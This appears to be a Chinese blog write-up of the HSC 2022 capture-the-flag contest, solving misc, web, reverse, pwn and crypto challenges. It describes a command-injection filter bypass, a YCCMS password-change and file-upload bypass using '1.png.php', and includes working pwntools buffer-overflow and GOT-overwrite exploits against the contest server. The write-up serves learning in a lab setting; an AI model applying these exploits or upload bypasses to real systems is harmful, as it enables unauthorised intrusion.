HSC1th 2022-wp

misc

Sign-in

flag{HSC_W3LC0M3}

DORAEMON

哆啦A梦把泡好的QR放进口袋后,用六位数字把自己放好了。你能找到它吗?

压缩包先暴力破解出密码为376852

得到一张图片,发现高度不对劲,增加一点高度,看到破损的二维码
把定位符补上,扫码得到flag

汝闻,人言否

看到压缩包的50 4B 01 02,但是没找到头,搜了一下发现头被改成了4B 50

结尾也有一处

提取出来后发现需要密码
发现注释qazsedcftrfvgycft6yhntgbnytfvbhyik,.;p
观察发现为键盘密码

但是第三个字符有点奇怪,不是字母,最后猜测是最像的A
密码:WVALOU

解压得到flag,文件头为52 49 46 46,音频文件
audacity查看,频谱图中看到flag

PERFORMANCE-ART

银河字母+凹凸字体

与表对照,不难发现是50 4B即压缩包
解压得到ZmxhZ3tnNUEwIWkyZjF9
base64解码得到flag

WIRESHARK

下载下来解压提示压缩文件已损坏,看到开头是PK,结尾是IEND,直接foremost,得到一个加密压缩包和一张图片
分离出的图片存在lsb隐写,藏了一张图片,save bin导出

发现是一张二维码,扫码得到wrsak..iehr370
但是用来解压压缩包提示密码错误,观察后发现前面是wireshark单词的错位,栅栏一下得到wireshark3.7.0

解压后得到一个wireshark文件
%开头,以%%EOF结尾,明显是pdf文件,但是头被删去了一部分,所以打不开

补上PDF,使用wbStego4.3open工具,空密码成功解出flag

web

Web-sign in

提示你知道robots协议吗?,访问robots.txt,得到fiag_ls_h3re.php

ctrl+u,F12等被禁用,使用view-source:查看源代码,得到flag

CLICK

抓不到包,说明是js控制的
逐个查看,最后在main.js中发现一串ZmxhZ3thYzk5Y2M2ZC04NWFmLTRiNmItODNlZS0yYjNjYWMwOTg3Y2J9Cg==,解码得到flag

EXEC

题目过滤了一部分字母和符号,但是还可以绕过
空格用${IFS}代替,lsnl这些字母用\转义,因为是exec,所以最后输出到文件

先找flag文件名和位置

查看flag

CMS SYSTEM

首页可以得知是YCCMS,漏洞库查找历史漏洞,发现存在未授权更改密码,任意文件上传等等

更改密码:

文件上传:

分析:
LogoUpload.class.php:
先将值以.打散为数组,且只检查数组中第二个值是否为png,所以1.png.php即可绕过

1
2
3
4
5
private function checkType() {
if (!in_array(explode('.',$this->name)[1],$this->typeArr)) {
Tool::alertBack('警告:LOGO图片必须是PNG格式!');
}
}

最后文件会被重命名为logo.php

1
2
3
4
5
6
7
8
private function setNewName() {
$_nameArr = explode('.',$this->name);
$_postfix = $_nameArr[count($_nameArr)-1];
//$_newname = date('YmdHis').mt_rand(100,1000).'.'.$_postfix;
$_newname = 'logo.'.$_postfix;
$this->linkpath = UPLOGO.$_newname;
return $this->path.$_newname;
}

访问php

reverse

hiahia o(*^▽^*)┛

将输入的字符与被flag函数修改过的v4进行比较

然后根据flag函数与v4变量的数据得出脚本

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a="igdb~Mumu@p&>%;%<$<p"
flag=""
for i in range(len(a)):
if i>9:
if i%2:
flag+=chr(ord(a[i])+13)
else:
flag+=chr(ord(a[i])-11)
else:
if i%2:
flag+=chr(ord(a[i])+5)
else:
flag+=chr(ord(a[i])-3)
print(flag)

ANDROID

安卓逆向的话先安装一下
随便输入一个值让它判断一下

随便一个逆向软件中搜索字符串FLAG错误
这里用jadx,得到关键代码

代码的大概意思是索引值为单数的异或下一个成员,为双数的异或索引值,

1
2
3
for (int i = 0; i < 17; i++) {
iArr2[i] = i % 2 == 0 ? charArray[i] ^ i : charArray[i] ^ charArray[i + 1];
}

解题代码:

1
2
3
4
5
6
7
a=[102, 13, 99, 28, 127, 55, 99, 19, 109, 1, 121, 58, 83, 30, 79, 0, 64, 42]
for i in range(len(a)-2,0,-1):
if i%2==1:
a[i]=a[i]^a[i+1]
else:
a[i]=a[i]^i
print(''.join([chr(i) for i in a]))

WAY

有壳先脱壳

一个走迷宫的题目

找到地图

OIIIIOOIO#IOOOIIOIOIIIIII

刚好五个分为一组,从左上角走到#
用键盘表示路径就是sdsddwd,md5后就是flag了

pwn

Ez_pwn

因为使用了gets函数,没有对输入数据进行限制,所以导致了栈溢出

接着执行后门函数获取flag

1
2
3
4
from pwn import *
p=remote('hsc2019.site',10679)
p.sendline(b'a'*0x40+b'b'*8+p64(0x400741))
p.interactive()

EZPWN

程序让我们写入地址并向地址写入数据

那么我们可以修改got表 使某个函数执行 后门函数

1
2
3
4
5
6
7
from pwn import *
e=ELF('pwn2',checksec=0)
p=remote('hsc2019.site',10257)
p.sendlineafter(b'ID?',b'1')
p.sendlineafter(b'address?',str(e.got['puts']).encode())
p.send(p64(0x400796))
p.interactive()

crypto

Easy SignIn

base16–>base64–>base32–>base64

flag{welc0me_to_my_s1gn_in}

AFFINE

先爆破a和b
assert ("flag" in m)表示明文中存在flag
然后因为(a*b+c)%62= (a%62)*(b%62)+c%62,所以a和b小于62

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# python2
import string
import hashlib

letter=string.ascii_letters+string.digits
e="xGJ13kkRK9QDfORQomFOf9NZs9LKVZvGqVIsVO9NOkorv"
a1,b1=0,0
for i in range(len(e)-3):
for a in range(62):
for b in range(62):
if ((letter.index('f')*a+b)%62)==(letter.index(e[i])):
if ((letter.index('l')*a+b)%62)==(letter.index(e[i+1])):
if ((letter.index('a')*a+b)%62)==(letter.index(e[i+2])):
if ((letter.index('g')*a+b)%62)==(letter.index(e[i+3])):
a1,b1=a,b

flag=[]
for i in e:
for j in range(62):
if (j*a1+b1)%62==letter.index(i):
flag.append(j)
break

print(hashlib.md5(''.join(letter[i] for i in flag)).hexdigest())

HSC1th 2022-wp
https://www.dr0n.top/posts/e2c67dcf/
作者
dr0n
发布于
2022年2月20日
更新于
2024年3月22日
许可协议